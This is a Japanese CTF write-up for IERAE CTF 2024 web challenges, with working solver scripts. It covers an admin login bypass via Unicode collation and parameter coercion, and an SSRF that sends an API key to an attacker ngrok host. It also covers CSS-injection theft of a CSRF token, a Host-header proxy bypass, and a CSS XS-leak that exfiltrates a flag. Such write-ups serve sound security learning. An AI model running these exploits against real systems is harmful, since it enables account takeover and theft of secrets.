🏠

IERAE CTF 2024 - web writeup

2024/09/23に公開

今週末はIERAE CTFに参加して、結果は24位でした。日本人の参加者が多かったので、SECCON本戦出場までの距離感がちょっと掴めました。結構頑張んないと...

チーム脆弱エンジニアはSECCONに向けてチームメンバー募集中です!(特にPwn)興味のある方は気軽にXかDiscordでご連絡ください!

✅ (homework) passwordless (1pt)

パスワードを利用しないログインシステムに、adminとしてログインできたらフラグがもらえる。
流れとしては次の通り。

  1. /registerでユーザーが作成される
  2. /loginにアクセスすると、secretkeyを持つlogin_tokenが生成される。この時、keyがレスポンスとして返却される。
  3. secretがメールで共有される(とコメントで書いてあるが、実際は送信されない)
  4. login/:keysecretを送るとログインできる。
app.rb
# Unprintableな文字が飛んできたらハッカーなので止める
before do
  params.each do |k, v|
    if /[^[:print:]]/.match?(v.to_s)
      halt 400, "Hacker detected!"
    end
  end
end

# snap

post '/login' do
  content_type :json

  # adminは通常のログインフォームからはログインできない
  if params[:name].match?(/admin/i)
    return { error: 'You can\'t login as admin' }.to_json
  end

  user = User.find(name: params[:name])
  return { error: 'Not found' }.to_json if user.nil?

  # 重複しないようにIPアドレスをつけておく
  secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
  login_token = LoginToken.create(
    user_id: user.id,
    key: SecureRandom.hex(32),
    secret: secret
  )
  send_login_token(user, login_token)

  {
    login_token_key: login_token.key
  }.to_json
end

post '/login/:key' do
  content_type :json
  login_token = LoginToken.find(key: params[:key], secret: params[:secret])
  return { error: 'Not found' }.to_json if login_token.nil?

  user = User.find(id: login_token.user_id)

  {
    user: {
      id: user.id,
      name: user.name,
      email: user.email,
      profile: user.profile
    }
  }.to_json
end

考慮すべきは次の通り。

  1. admin/loginからトークンを作成できないように次のようなWAFがはられている
  if params[:name].match?(/admin/i)
    return { error: 'You can\'t login as admin' }.to_json
  end
  1. secretが不明
secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)

1.に関して正規表現が/admin/iとなっていることが気になる。このiというフラグは、大文字小文字を区別しないということだ。これはもしかしたらMySQLが'admin'='ADMIN'としてしまうからではないだろうか?実験してみるとそのとおりであることがわかる。

MariaDB [ierae]> SELECT * FROM users WHERE name='ADMIN';
+----+-------+-----------------+--------------+
| id | name  | email           | profile      |
+----+-------+-----------------+--------------+
|  1 | admin | admin@localhost | IERAE{dummy} |
+----+-------+-----------------+--------------+

では、大文字以外のAのようなUnicodeはどうだろうか?

MariaDB [ierae]> SELECT * FROM users WHERE name='Àdmin';
+----+-------+-----------------+--------------+
| id | name  | email           | profile      |
+----+-------+-----------------+--------------+
|  1 | admin | admin@localhost | IERAE{dummy} |
+----+-------+-----------------+--------------+

Àdminは正規表現には引っかからないので、ユーザー名をÀdminにすれば1.の条件は突破できることがわかった。

2.について、secretを用いてlogin_tokenを特定する箇所は以下のようになっている。

login_token = LoginToken.find(key: params[:key], secret: params[:secret])

ここで、params[:secret]が文字列ではなく、配列や辞書型の場合、どのようなクエリが送信されるだろうか?

test.py
r = s.post(URL + "login", data={
    "name": f"Àdmin"
})
login_token_key = json.loads(r.text)["login_token_key"]
r = s.post(URL + "login/" + login_token_key, data=[
    ("secret[]", 'foo'),
    ("secret[]", 'bar')
])
# SELECT * FROM `login_tokens` WHERE ((`key` = '...') AND (`secret` IN ('foo', 'bar'))) LIMIT 1
print(r.text) # {"error":"Not found"}
r = s.post(URL + "login/" + login_token_key, data={
    "secret[0]": 'foo',
    "secret[1]": 'bar'
})
# SELECT * FROM `login_tokens` WHERE ((`key` = '...') AND (`secret` = (('0' = 'foo') AND ('1' = 'bar')))) LIMIT 1
print(r.text) # {"error":"Not found"}

配列を送ったときの(`secret` IN ('foo', 'bar'))の形式は、やはりsecretがわからないと意味が無いので利用できにくそうだ。辞書型を送った時の(`secret` = (('0' = 'foo') AND ('1' = 'bar'))))は、(`secret` = FALSE)として解釈できる。これを満たすようなsecretはどのような文字列だろうか?

公式ドキュメントを読むと、文字列と数値を比較する時、文字列は「最初に数字でない文字が現れたらそれ以降を無視して、それまでの数字を数値として解釈する」という方法で数値に変換されることがわかる。さらに、MySQLではFALSEは0のエイリアス、TRUE1のエイリアスなので、例えば'0abcd'=FALSE'1ABCD'=TRUEが成り立つ。

ここで、secretが生成される方法を確認する。

secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)

送信元のIPアドレスとランダムな16進数が結合していることがわかる。ここで、例えばIPアドレスが0.0.0.0であり、生成された16進数がa~fで始まる場合、secret0aのような文字から始まることになり、secret=FALSEを満たす。雑にX-Forwarded-For: 0.0.0.0ヘッダーを付与してみたら、うまいことrequest.ip0.0.0.0と解釈された。

secretの16進数がa~fで始まるとは限らないが、16回に6回は成功するので、成功するまでループした。

solver.py
import json
import requests
import time

# URL = "http://34.146.65.254:4567/"
URL = "http://localhost:4567/"

s = requests.session()

while True:
    r = s.post(URL + "login", data={
        "name": f"Àdmin"
    }, headers={
        "X-Forwarded-For": "0.0.0.0",
    })
    print(r.text)
    login_token_key = json.loads(r.text)["login_token_key"]
    r = s.post(URL + "login/" + login_token_key, data={
        "secret[0]": 'a'
    })
    print(r.status_code)
    print(r.text)
    if "user" in r.text:
        print(json.loads(r.text)["user"]["profile"])
        break
    time.sleep(.5)

✅ Futari APIs (162pts 81/224 クリア率36%)

ユーザーを検索するサイト。ユーザー名を送ると、別APIにリクエストを送ってユーザーを検索する。このときにapiKeyというクエリパラメータを付与するが、これがフラグとなっている。

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

new URLに第二引数が用いることにより、

new URL('foobar?apiKey=flag','http://127.0.0.1:3030')

http://127.0.0.1:3030/foobar?apiKey=flagとなるようになっている。この第二引数の仕様に関してMDNを読んでみると、

new URL('http://xxx.ngrok.app','http://127.0.0.1:3030')

のように第一引数がフルパスの場合は第二引数が無視されるということがわかる。つまり、ユーザー名をhttp://xxx.ngrok.appとすれば、http://xxx.ngrok.app/?apiKey=XXXのようなリクエストが飛び、apiKeyを流出することができる。

solver
import requests

URL = "http://34.81.219.110:3000/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()
r = s.get(URL + "search", params={
    "user": EVIL
})

✅ Great Management Opener (315pt 11/224 クリア率4.9%)

ユーザー作成とログインができるシステム。admin権限を持ったユーザーが/adminにPOSTを行うとユーザーをadminに昇格できる。

routes.py
@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        csrf_token = request.form.get('csrf_token')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))

        if not csrf_token or csrf_token != session.get('csrf_token'):
            return redirect(url_for('admin', message='Invalid csrf_token'))

        user = User.query.filter_by(username=username).first()
        if not user:
            return redirect(url_for('admin', message='Not found username'))

        user.is_admin = True
        db.session.commit()
        return redirect(url_for('admin', message='Success make admin!'))
    return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))

admin権限を持ったユーザーで/admin/flagにアクセスするとフラグが手に入れられる。

urlを送ると、admin権限を持ったユーザーを利用して、botがそのサイトを訪れてくれる。

bot.js
export const visit = async (url) => {

  /* snap */

  try {
    // Login with admin user
    const page = await context.newPage();
    await page.goto(`${APP_URL}/login`, { timeout: 3000 });
    await page.waitForSelector("#username");
    await page.type("#username", APP_ADMIN_USERNAME);
    await page.waitForSelector("#password");
    await page.type("#password", APP_ADMIN_PASSWORD);
    await page.click("button[type=submit]");
    await sleep(1 * 1000);

    await page.goto(url, { timeout: 3000 });
    await sleep(TIMEOUT_SECONDS * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  /* snap */

};

botに自分のユーザーにadmin権限を与えるようにCSRFしたいが、CSRFトークンにより簡単にはできないようになっている。

全てのページにおいて、?message=というクエリパラメータでメッセージを表示できるようになっているが、これにXSSの脆弱性がある。

base.jinja2
<!DOCTYPE html>
<html>
<!-- snap -->
<body>
    <div class="container">
        {% if request.args.get('message') %}
            <div class="alert alert-secondary mt-3">
                {{ request.args.get('message')|truncate(64, True) }}
            </div>
        {% endif %}
        <h1 class="text-center">Great Management Opener</h1>
        {% block content %}
        {% endblock %}
    </div>
</body>
</html>

ただし、CSPの設定により、javascriptを実行するのは難しそう。

__init__.py
@app.after_request
def add_security_headers(response):
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Content-Security-Policy'] = (
        "script-src 'self'; "
        "style-src * 'unsafe-inline'; "
    )
    return response

ただし、style-src * 'unsafe-inline'となっているのでCSS Injectionは可能である。しかも、csrf_tokenはhiddenなinput要素に含まれているので、以下のCSSを利用してBlind searchが行える。(詳細)

css
input[name=csrf_token][value^=ABCD] ~ * {background: url('known?v=ABCD');}

メッセージの長さが64文字までなので、直接CSSを埋め込むのは難しいが、linkタグでcssファイルを埋め込むができる。

これを利用してcsrfトークンをリークし、CSRFで自分のユーザーを昇格させることでフラグを入手した。

server.py
import threading
from flask import Flask, Response, render_template, request
import requests
import time

app = Flask(__name__)

REMOTE = False
# REMOTE = True

URL = "http://34.81.113.24:5000/" if REMOTE else "http://localhost:5000/"
BOT = "http://35.221.184.101:1337/" if REMOTE else "http://localhost:1337/"
EVIL = "http://tchenio.ngrok.io/"
USERNAME = "tchentchen"
PASSWORD = "password"

def gencss(c, known):
    v = known + c
    return f"input[name=csrf_token][value^='{v}'] ~ * {{background: url('{EVIL}known?v={v}');}}"


known=""
@app.route("/")
def index():
    print(request.headers, flush=True)
    return render_template("index.jinja2", **globals())
@app.route("/known")
def known():
    global known
    known = request.args.get('v')
    return Response("ok")
@app.route("/getknown")
def getknown():
    global known
    return Response(known)
@app.route("/solve")
def solve_route():
    s = requests.session()
    r = s.post(URL + 'login', {
        "username": USERNAME,
        "password": PASSWORD
    })
    r = s.get(URL + 'admin/flag')
    print(r.text, flush=True)
    return Response("")

letters = "0123456789abcdef"
known=""
@app.route("/main.css")
def css():
    return Response("\n".join([gencss(c, known) for c in letters]),mimetype="text/css")


def solve():
    time.sleep(1)
    requests.post(URL + 'register', {
        "username": USERNAME,
        "password": PASSWORD
    })
    requests.post(BOT + 'api/report', json={
        "url": EVIL
    })

 
if __name__ == "__main__":
    thread = threading.Thread(target=solve)
    thread.start()
    app.run(port=9911)
index.jinja2
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

</head>
<body>
    <script>
        const sleep = s => new Promise(r => setTimeout(r, s))

        let known = "";
        (async () => {
            while(known.length < 32) {
                known = await(await fetch("getknown")).text()
                const style = '<link href="{{EVIL}}main.css" rel="stylesheet">'
                const w = open("http://web:5000/admin?message=" + style);
                await sleep(500)
                w.close()
            }
            document.querySelector('input[name=csrf_token]').value = known
            form.submit();
            await sleep(1000);
            fetch("/solve")
        })()


    </script>
    <form id="form" method="POST" action="http://web:5000/admin" target="_blank">
      <input type='text' name='username' value='{{USERNAME}}'>
      <input type='text' name='csrf_token'>
      <input type='submit' value='submit'>
    </form>
</body>
</html>

サイトがhttpのため、httpsでホストしたページからはCSRFができないことに注意する。ngrokでhttpのサーバーを建てるにはngrokでHTTPSアップグレードを封じたいを参考にしてください。

✅ babewaf (315pt 11/224 クリア率4.9%)

フラグを提供するbackendと、それに接続するproxyという2つのサーバーが立っている。ユーザーはproxyにしかアクセスできないので、proxyを通してbackend/givemeflagというルートからフラグを入手することが目的となる。また、backendHonoというフレームワークを利用している。

proxy/index.js
const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND ?? "http://localhost:4045";

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);
backend/main.ts
import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG") ?? "IERAE{testflag}";

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

基本的にリクエストはそのままbackendに送られるが、次の2つのWAFを回避しなければならない。

  • flagの文字を含まない
    • http://localhost:3000/givemeflagといったリクエストは無効
  • %を含まない
    • URLエンコードを利用した、http://localhost:3000/%67%69%76%65%6d%65%66%6c%61%67のようなリクエストも無効

いろいろなペイロードを試していると、Host: fakehost/foobarというヘッダーを付与して/にアクセスすると、URLがhttp://fakehost/foobar/となることがわかった。

それでは、Host: fakehost/givemeflagでうまくいくかと思ったが、これはhttp://fakehost/givemeflag/と最後に/が付いてしまうせいでうまくいかない。

それではと思ってHost: fakehost/givemeflag?としたところ、http://fakehost/givemeflag?/となり、/がクエリパラメータとして解釈されるようになったので、無事フラグを入手することができた。

solver.py
import requests

URL = "http://35.229.187.38:3000/"
# URL = "http://localhost:3000/"

r = requests.get(URL, headers={
    "Host": "fake/givemeflag?"
})
print(r.text)

Smooth Note (446pts 3/224 クリア率1.3%)

CSSが適用されたメモを作成することができる。

また、/?search=でメモの内容で検索することができる。

botは、フラグを内容としてメモを作成し、指定のURLを訪れてくれる。

bot.js
export const visit = async (url) => {
  /* snap */

  try {
    // Create a flag note
    const page1 = await context.newPage();
    await page1.goto(APP_URL, { timeout: 3000 });
    await page1.waitForSelector("#show-form");
    await page1.click("#show-form");
    await sleep(0.5 * 1000);
    await page1.waitForSelector("#new-title");
    await page1.type("#new-title", "Secret Note");
    await page1.waitForSelector("#new-body");
    await page1.type("#new-body", FLAG);
    await page1.waitForSelector("#new-style");
    await page1.type("#new-style", "body { background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red); }");
    await page1.waitForSelector("#new-button");
    await page1.click("#new-button");
    await sleep(1 * 1000);
    await page1.close();
    await sleep(1 * 1000);

    // Visit the given URL
    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 3000 });
    await sleep(100 * 1000);
    await page2.close();
  } catch (e) {
    console.error(e);
  }
  /* snap */
};

CSPによって、javascriptの実行が防がれているが、CSSは自由に埋め込み可能。特に、img-src *となっていることから、background-image: url(<自分のサイト>)を利用してXS-leaksができそうな雰囲気がある。

index.js
app.addHook("onRequest", (req, reply, next) => {
  reply.header(
    "Content-Security-Policy",
    `default-src 'none'; style-src 'self' 'unsafe-inline'; img-src *`
  );
  next();
});

ただし、CSSを埋め込むことができるページは/note/<noteid>だけであり、検索結果の/?search=には埋め込むことができない。

ページをいろいろいじっていると、ノートページから検索ページに移動したときに変なエラーが出力されていることに気がついた。

検証すると、View Transition APIというものが利用されているらしい。これは、ページの遷移前と遷移後の要素を紐付けることで、要素がスムーズに変換されるようなアニメーションをしてくれるようなAPIである。

エラーになっていたのは、遷移前後で紐付けるための「view-transition-name」というプロパティが重複していたためであった。

#index-main {
  position: relative;

  .title {
    view-transition-name: site-title;
  }
  /* snap */
}

エラーが発生するときとしない時で挙動が異なるようなCSSセレクタを発見できれば、それをオラクルにすることができそうだ。

::view-transitionというセレクタは、遷移前と遷移後の要素どちらにも当てはまるCSSセレクタである。これは、上記のエラーが発生している場合には発火しない。

読み込まれるCSSは基本遷移後のみなので、/?search(検索結果あり)→/node/<nodeid>で発火して、/?search(検索結果なし)→/node/<nodeid>で発火しない、といったオラクルを作成することが可能である。

CTF開催中はここまで発見していたが、CSRFでノートを作成したあとに/?searchに遷移してしまうと作成したノートに戻ることができずに詰んでいた。知らなかったのは、open関数を利用してページを開いた後、そのウィンドウを利用してCSRFすることが可能であり、/?search/node/<nodeid>の順番で表示することができるということだった。

open関数は以下のようにコンテキスト付きで開くことができる。

const w = open('http://localhost:3000/?search=foobar', 'mywindow')

さらに、<form>タグは、target='mywindow'というアトリビュートを設定することで、そのコンテキストを利用してリクエストを行うことができる。これを組み合わせることで上記の遷移を実現することができる。

以下がソルバーとなる

server.py
import threading
from flask import Flask, Response, render_template, request
import requests


app = Flask(__name__)

# REMOTE = False
REMOTE = True


BOT = "http://130.211.255.176:1337/" if REMOTE else "http://localhost:1337/"
EVIL = "http://tchenio.ngrok.io/"

@app.route("/")
def index():
    return render_template("index.jinja2", **globals())

known = "IERAE{"
candidate = 'abcdefghijklmnopqrstuvwxyz}'
@app.route("/leak")
def leak():
    global known, candidate
    candidate = [c for c in candidate if c != request.args.get('v')[-1]]
    
    if len(candidate) == 1:
        known += candidate[0]
        print(f"{known=}")
        candidate = 'abcdefghijklmnopqrstuvwxyz}'
    return Response("")
@app.route("/getknown")
def known_route():
    global known
    return Response(known)


def solve():
    requests.post(BOT + 'api/report', json={
        "url": EVIL
    })

if __name__ == "__main__":
    thread = threading.Thread(target=solve)
    thread.start()
    app.run(port=9911)
index.jinja2
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script>
        const sleep = s => new Promise(r => setTimeout(r, s));

        async function runfor(str) {
            let w = open(`http://web:3000/?search=${str}`, str);
            await sleep(300);
            const css = `
                ::view-transition {
                    background-image: url({{EVIL}}leak?v=${str});
                }
                
            `.replace("    ", "");
            document.querySelector('input[name=style]').value = css;
            form.target = str;
            form.submit();
            await sleep(300);
            w.close()
        };
        const letters = "abcdefghijklmnopqrstuvwxyz}";
        (async () => {
            let known = await(await fetch("getknown")).text();
            while(known.slice(-1) !== "}") {
                for(let c of Array.from(letters)) {
                    await runfor(known + c)
                }
                known = await(await fetch("getknown")).text();
            }
        })()
    </script>
</head>
<body>
    <form id="form" method="POST" action="http://web:3000/create" target="_blank">
      <input type='text' name='title' value='foo'>
      <input type='text' name='body' value='bar'>
      <input type='text' name='style' value='baz'>
      <input type='submit' value='submit'>
    </form>
    
</body>
</html>

Discussion